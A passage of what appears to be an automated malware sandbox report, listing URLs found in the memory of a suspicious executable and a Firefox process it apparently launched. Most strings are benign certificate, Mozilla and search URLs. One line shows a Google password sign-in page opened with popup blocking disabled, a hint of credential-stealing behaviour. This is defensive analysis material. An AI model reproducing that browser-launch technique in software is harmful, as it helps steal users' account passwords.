Source: file.exe, 00000000.00000003.2197608376.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2924958983.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3087303221.0000000006013000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269450087.0000019E4C366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2197608376.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2924958983.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3087303221.0000000006013000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269450087.0000019E4C366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: 58ce8f976c.exe, 0000000A.00000003.2911175052.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microx
Source: file.exe, 00000000.00000003.2197608376.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2924958983.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3087303221.0000000006013000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269450087.0000019E4C366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2197608376.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2924958983.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3087303221.0000000006013000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269450087.0000019E4C366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2197608376.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2924958983.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3087303221.0000000006013000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269450087.0000019E4C366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2197608376.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2924958983.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3087303221.0000000006013000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269450087.0000019E4C366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2197608376.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2924958983.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3087303221.0000000006013000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269450087.0000019E4C366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001A.00000003.3165170400.0000019E4E0ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlSEC_REQUIRE_SAME_ORIGIN_DATA_IS_BLOCKEDACTIVITY_SUBTYP
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53C6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53C6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001A.00000002.3266603908.0000019E4C266000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285958832.0000019E4DA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285958832.0000019E4DA19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001A.00000002.3273423332.0000019E4C980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 0000001A.00000002.3266603908.0000019E4C266000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285958832.0000019E4DA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285958832.0000019E4DA19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001A.00000002.3273423332.0000019E4C980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 0000001A.00000002.3227788063.0000019E47026000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001A.00000002.3227788063.0000019E47026000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001A.00000002.3227788063.0000019E47026000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001A.00000002.3224109770.0000019E3B803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: http://fb.me/use-check-prop-types
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: http://fb.me/use-check-prop-typesG
Source: firefox.exe, 0000001A.00000003.3092408518.0000019E4CA56000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3169464737.0000019E4DEB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3135984680.0000019E53E83000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3274206743.0000019E4CA4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3169464737.0000019E4DE7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3257880743.0000019E4BF80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3145273274.0000019E53D93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3288686751.0000019E4DE4B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285958832.0000019E4DA33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3093671509.0000019E49EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3165170400.0000019E4E025000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3245252425.0000019E49ECF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3119455546.0000019E557B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3250265468.0000019E4B803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3200289786.0000019E53E84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3092945817.0000019E4BDF9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3142796839.0000019E53E85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3254465653.0000019E4BCA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3092945817.0000019E4BDF3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3255417100.0000019E4BDB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.2197608376.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2924958983.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3087303221.0000000006013000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269450087.0000019E4C366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2197608376.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2924958983.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3087303221.0000000006013000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269450087.0000019E4C366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001A.00000003.3148359277.0000019E53BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000001A.00000003.3148359277.0000019E53BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: http://stackoverflow.com/questions/30030031)
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateONLY_INSTANCE_CHECK_DEFAULT_POLL_INTERVAL_MSBITS_IDLE_NO_PROGR
Source: firefox.exe, 0000001A.00000002.3257146200.0000019E4BE6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3257146200.0000019E4BE19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3286844037.0000019E4DCE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3227788063.0000019E47051000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul(
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulExpected
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulR
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xuloncommand=closebuttoncommand
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulopenPreferences/internalPrefCategoryNam
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/sessionstore/Sessio
Source: file.exe, 00000000.00000003.2197608376.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2924958983.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3087303221.0000000006013000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269450087.0000019E4C366000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3148359277.0000019E53BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2197608376.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2924958983.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3087303221.0000000006013000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269450087.0000019E4C366000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3148359277.0000019E53BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000003.3086228555.0000019E4B852000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3084909437.0000019E4B600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3085359079.0000019E4B80F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.2174370045.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896261286.0000000005958000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896136861.000000000596F000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051709799.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3056682924.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051343446.000000000601D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53C6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 0000001A.00000002.3214593137.00000045EEBD8000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3276626657.0000019E4CD44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001A.00000002.3223563743.0000019E3B669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 0000001A.00000002.3224109770.0000019E3B803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-users/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/en-US/firefox/collections/4757633/25c2b44583534b3fa8fea977c419cd/?page=1&
Source: firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4040738/cookie_autodelete-3.8.2.xpi
Source: firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4128570/languagetool-7.1.13.xpi
Source: firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4129240/privacy_badger17-2023.6.23.xpi
Source: firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4134489/enhancer_for_youtube-2.0.119.1.xpi
Source: firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4141092/facebook_container-2.3.11.xpi
Source: firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/506/506646-64.png?modified=mcrushed
Source: firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/700/700308-64.png?modified=4bc8e79f
Source: firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/708/708770-64.png?modified=4f881970
Source: firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/784/784287-64.png?modified=mcrushed
Source: firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/954/954390-64.png?modified=97d4c956
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001A.00000002.3260229875.0000019E4C00E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001A.00000002.3260229875.0000019E4C055000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001A.00000002.3224109770.0000019E3B811000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://basket.mozilla.org/news/subscribe/
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://basket.mozilla.org/news/subscribe_sms/
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://basket.mozilla.org/subscribe.json
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.2199007383.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2926473817.0000000000FCC000.00000004.00000020.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3090013500.0000000005FD9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000003.2214880868.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2926473817.0000000000FCC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: firefox.exe, 0000001A.00000002.3285958832.0000019E4DA59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3247984693.0000019E4B65C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180toolbar-context-menu-bookmarks-show-other-bookma
Source: file.exe, 00000000.00000003.2174370045.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896261286.0000000005958000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896136861.000000000596F000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051709799.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3056682924.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051343446.000000000601D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2174370045.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896261286.0000000005958000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896136861.000000000596F000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051709799.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3056682924.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051343446.000000000601D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2174370045.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896261286.0000000005958000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896136861.000000000596F000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051709799.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3056682924.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051343446.000000000601D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
